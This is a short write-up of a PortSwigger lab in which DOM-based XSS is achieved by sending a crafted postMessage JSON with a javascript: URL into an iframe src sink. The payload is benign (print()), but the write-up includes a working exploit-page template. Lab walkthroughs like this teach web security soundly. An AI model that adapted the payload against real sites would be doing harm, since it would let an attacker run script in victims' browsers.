DOM XSS using web messages and JSON.parse
| Jan 14, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: DOM XSS using web messages and JSON.parse
! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab uses web messaging and parses the message as JSON. To solve the lab, construct an HTML page on the exploit server that exploits this vulnerability and calls the print()
function.
Exploitation
Home page:
View source page:
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>
In this web message, it has an event listener that listening for a web message. Then, it’ll parse the message as JSON data via JSON.parse
. Moreover, the event listener doesn’t verify the origin of incoming messages correctly.
Also, in the switch
statement, it has a case
called load-channel
. What that case do is to change an <iframe>
element src
attribute. Hence, this is the sink (Dangerous function).
Armed with above information, we can host a malicious HTML file that contains <iframe>
element and use the postMessage()
method to pass web message data to the vulnerable event listener, which then sends the payload to a sink on the parent page:
postMessage("{\"type\":\"load-channel\", \"url\":\"javascript:print()\"}",'*')
Let’s create a HTML payload to exploit that DOM-based XSS!
<html>
<head>
<title>DOM XSS using web messages and JSON.parse</title>
</head>
<body>
<iframe src="https://0a94005203448cd4c073c3ae006d003c.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\", \"url\":\"javascript:print()\"}","*");'></iframe>
</body>
</html>
Then host it on the exploit server, and deliver it to victim:
What we’ve learned:
- DOM XSS using web messages and
JSON.parse